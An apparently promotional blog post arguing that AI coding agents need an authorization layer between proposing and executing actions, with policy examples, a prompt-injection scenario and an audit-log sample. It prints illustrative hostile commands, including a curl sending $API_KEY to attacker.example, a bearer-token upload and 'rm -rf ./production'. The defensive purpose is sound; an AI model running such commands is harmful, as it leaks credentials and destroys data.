AI coding agents can generate shell commands, modify files, invoke tools, and interact with repositories. The interesting security question is what happens in the milliseconds between deciding on an action and actually performing it.
Consider a coding agent working on a routine task.
You tell it:
βClean up the old build artifacts and fix the deployment script.β
The agent inspects the repository, reasons about the task, and eventually decides to execute:
rm -rf ./dist
In a development workspace, that might be exactly what you want.
Now change one detail:
rm -rf ./production
Or:
curl -H "Authorization: Bearer $TOKEN" \
https://external-example.com/upload
Or:
npm install some-untrusted-package
The important security question isnβt just:
Why did the model generate this command?
Thereβs another question:
What happens between the agent generating the command and the operating system executing it?
In many agent architectures, the answer is effectively:
Model decides
β
Agent invokes tool
β
Tool executes
Thatβs an extremely important boundary.
Because once AI moves from generating actions to executing them, model security becomes an authorization problem too.
βΈ»
Generation and Execution Are Different Security Events
A language model generating:
rm -rf ./important-directory
isnβt necessarily a security incident.
Itβs text.
The command becomes consequential when something executes it.
Thatβs the difference between a traditional coding assistant and an increasingly autonomous coding agent.
A coding assistant might produce:
You can fix this by running:
npm install package-x
The developer evaluates the recommendation and decides whether to execute it.
But an agent with shell access may do this:
User Request
β
Agent Reasoning
β
Generate Command
β
Execute Command
The human decision point has potentially disappeared.
That changes where security controls need to exist.
βΈ»
What Does an Agent Actually Do?
The implementation varies by agent, but conceptually an agentic coding loop looks something like:
βββββββββββββββββββββ
β User Task β
βββββββββββ¬ββββββββββ
β
βββββββββββββββββββββ
β Model Reasoning β
βββββββββββ¬ββββββββββ
β
βββββββββββββββββββββ
β Select Tool β
βββββββββββ¬ββββββββββ
β
βββββββββββββββββββββ
β Construct Action β
βββββββββββ¬ββββββββββ
β
βββββββββββββββββββββ
β Execute Tool β
βββββββββββ¬ββββββββββ
β
βββββββββββββββββββββ
β Observe Result β
βββββββββββ¬ββββββββββ
β
Continue Loop
The tool might be:
shell
filesystem
Git
GitHub
HTTP client
database
MCP server
cloud API
CI/CD system
And the proposed action might be:
{
"tool": "shell",
"command": "npm install package-x"
}
Or:
{
"tool": "filesystem",
"operation": "delete",
"path": "/production/config.json"
}
Or:
{
"tool": "git",
"operation": "push",
"branch": "main"
}
The model has effectively produced a structured request for the surrounding system to perform an operation.
Thatβs where things get interesting.
βΈ»
There Is a Security Boundary Hiding in the Agent Loop
Suppose an agent proposes:
{
"operation": "delete_file",
"resource": "/production/config.json"
}
There are two possible architectures.
Architecture A
Agent
β
Tool
β
Execution
The agent decides what should happen, and the system performs it.
Architecture B
Agent
β
Proposed Action
β
Authorization
β
Tool
β
Execution
That extra step changes the security model considerably.
Now the system can ask questions independently of the model:
Who initiated this task?
Which agent is acting?
What action is being requested?
What resource will be affected?
Which environment is this?
What permissions does the agent have?
What organizational policy applies?
Does this require human approval?
Only then does execution occur.
βΈ»
The Model Should Propose. Something Else Should Decide.
This separation already exists throughout computer security.
Applications donβt normally decide their own database permissions.
Users donβt decide whether their own credentials are valid.
Processes donβt get unrestricted access merely because they request it.
We have independent authorization systems for a reason.
Agents should follow the same principle.
Imagine:
Agent:
delete_file("/production/config.json")
β
Policy Engine:
resource = production
action = delete
actor = coding-agent
risk = critical
β
Decision:
DENY
The agent can disagree.
It doesnβt matter.
The authorization boundary exists outside the model.
Thatβs the important property.
βΈ»
Context Changes the Decision
Hereβs another complication.
Commands arenβt inherently safe or unsafe.
Consider:
rm -rf ./build
Should that be allowed?
It depends.
If the agent is operating inside:
~/projects/test-app/build
probably.
If itβs operating inside:
/production/customer-data/build
perhaps not.
The command is identical.
The context isnβt.
So authorization might evaluate something closer to:
Actor
+
Action
+
Resource
+
Environment
+
Permissions
+
Context
+
Policy
And produce:
ALLOW
WARN
REQUIRE_APPROVAL
BLOCK
For example:
Scratch repository
rm -rf ./build
β ALLOW
Development repository
rm -rf ./build
β WARN
Critical production repository
rm -rf ./build
β REQUIRE_APPROVAL
Protected resource
rm -rf ./secrets
β BLOCK
Same action. Different context. Different policy.
βΈ»
Why Prompt Filtering Doesnβt Solve This
The obvious response might be:
βShouldnβt we just prevent the model from generating dangerous commands?β
We should certainly try.
But that canβt be the entire security architecture.
Imagine the developer asks:
βRemove all obsolete deployment resources.β
Nothing malicious there.
The agent decides that a particular production resource is obsolete.
Itβs wrong.
No prompt injection occurred.
No attacker was involved.
No jailbreak happened.
The model simply misunderstood the environment.
Prompt filtering has nothing meaningful to detect.
Yet the proposed action can still be dangerous.
The same thing can happen because of:
- hallucination;
- ambiguous instructions;
- stale context;
- incorrect reasoning;
- incorrect tool selection;
- software bugs;
- unexpected system state;
- excessive permissions.
Thatβs why the security control should evaluate the action, not merely the reason the model arrived at it.
βΈ»
Prompt Injection Makes the Problem Worse
Now add untrusted context.
A developer asks:
βInvestigate this issue and implement the fix.β
The agent starts researching.
It reads:
README.md
Then:
issue #481
Then external documentation.
Then an MCP tool response.
One of those sources contains instructions designed to manipulate the agent.
The original user prompt was safe.
But the agentβs context no longer consists solely of trusted instructions.
If the manipulated agent subsequently proposes:
curl -d "$API_KEY" https://attacker.example
detecting the malicious input would obviously be useful.
But thereβs another opportunity to stop the attack:
Agent proposes outbound transmission
β
Runtime policy evaluates action
β
Sensitive credential detected
+
Unapproved external destination
β
BLOCK
This is defense in depth.
You try to stop the malicious instruction from influencing the model.
But you also assume that sometimes it will.
βΈ»
Control the Sink, Not Just the Source
A useful way to reason about this is in terms of sources and sinks.
A source gives untrusted information an opportunity to influence an agent.
Examples:
Web page
README
Issue
Email
Document
MCP response
Database record
Code comment
A sink is a capability that becomes dangerous when manipulated.
Examples:
Shell execution
File modification
Network request
Git push
Credential access
API call
Database mutation
Cloud operation
MCP invocation
Agent security needs controls around both.
Trying to eliminate every possible malicious source becomes increasingly difficult as agents consume more context.
Controlling consequential sinks gives you another boundary.
βΈ»
Put Policy Between Intention and Execution
A stronger execution path looks like this:
Prompt
β
Model
β
Agent
β
Proposed Action
β
ββββββββββββββββββββββββββββ
β Runtime Policy β
β β
β Identity β
β Action β
β Resource β
β Context β
β Environment β
β Risk β
ββββββββββββββ¬ββββββββββββββ
β
ALLOW / WARN / APPROVE / BLOCK
β
Tool
β
Execution
That creates a deterministic security boundary around a probabilistic system.
The model can reason.
The model can plan.
The model can recommend.
But it doesnβt automatically get the final word on authorization.
βΈ»
Human Approval Still Has a Role
This doesnβt mean putting a confirmation dialog in front of every command.
That would make agents unbearable to use.
Authorization should be proportional to risk.
For example:
read_file(src/example.ts)
β ALLOW
run_test()
β ALLOW
install_dependency(new-package)
β WARN
push_to_main()
β REQUIRE_APPROVAL
read_production_secret()
β BLOCK
delete_production_database()
β BLOCK
Low-risk work remains autonomous.
Higher-risk actions cross stronger boundaries.
Thatβs how you preserve the productivity benefit without treating autonomy as unrestricted authority.
βΈ»
You Also Need Evidence
Thereβs another benefit to intercepting the action before execution.
You can create a useful audit trail.
Instead of merely knowing:
Claude Code session started at 14:32
you can reconstruct:
14:32:01 Task initiated
14:32:07 Agent read repository
14:32:14 Agent proposed shell command
14:32:14 Policy evaluated command
14:32:14 Risk: HIGH
14:32:14 Decision: REQUIRE_APPROVAL
14:32:51 Approval granted by user
14:32:52 Command executed
14:32:53 Exit code: 0
For security teams, that distinction is significant.
Youβre no longer merely logging that an AI tool was used.
Youβre recording:
what it attempted to do,
where it attempted to do it,
which policy applied,
what decision was made,
and potentially what happened afterward.
βΈ»
This Is the Boundary Weβre Building Around in Oconee Runtime
This execution boundary is one of the problems weβre working on with Oconee Runtime.
The basic model is:
AI Agent
β
Proposed Action
β
Oconee Runtime
β
Policy + Identity + Resource + Context + Risk
β
ALLOW | WARN | REQUIRE APPROVAL | BLOCK
β
Execution
β
Evidence
The objective isnβt to prevent AI agents from doing useful work.
Itβs the opposite.
If weβre going to give agents increasingly powerful tools, we need a way to give them capability without automatically giving them unrestricted authority.
That distinction becomes increasingly important as coding agents move from:
"Here's the command you could run."
to:
"I ran it."
βΈ»
The Missing Milliseconds Matter
When we think about AI-agent security, itβs natural to focus on the model.
Was the prompt malicious?
Was the model manipulated?
Was the response safe?
Those questions matter.
But thereβs another security boundary worth paying attention to:
The moment after an agent decides what it wants to do and before the system actually does it.
Those milliseconds create an opportunity to:
authenticate
authorize
evaluate context
apply policy
require approval
block dangerous operations
record evidence
before intention becomes execution.
The broader principle is simple:
Never let the agent be its own security boundary.
The model proposes.
The security layer decides.
And only then should the system act.
βΈ»
About Oconee Runtime
Oconee Runtime is an enterprise AI governance platform designed to help organizations see and control what AI tools and agents actually do. Runtime applies context-aware policy to AI-assisted activity and provides enforcement and auditability across supported workflows.
Learn more β [OCONEE RUNTIME LINK]
Top comments (0)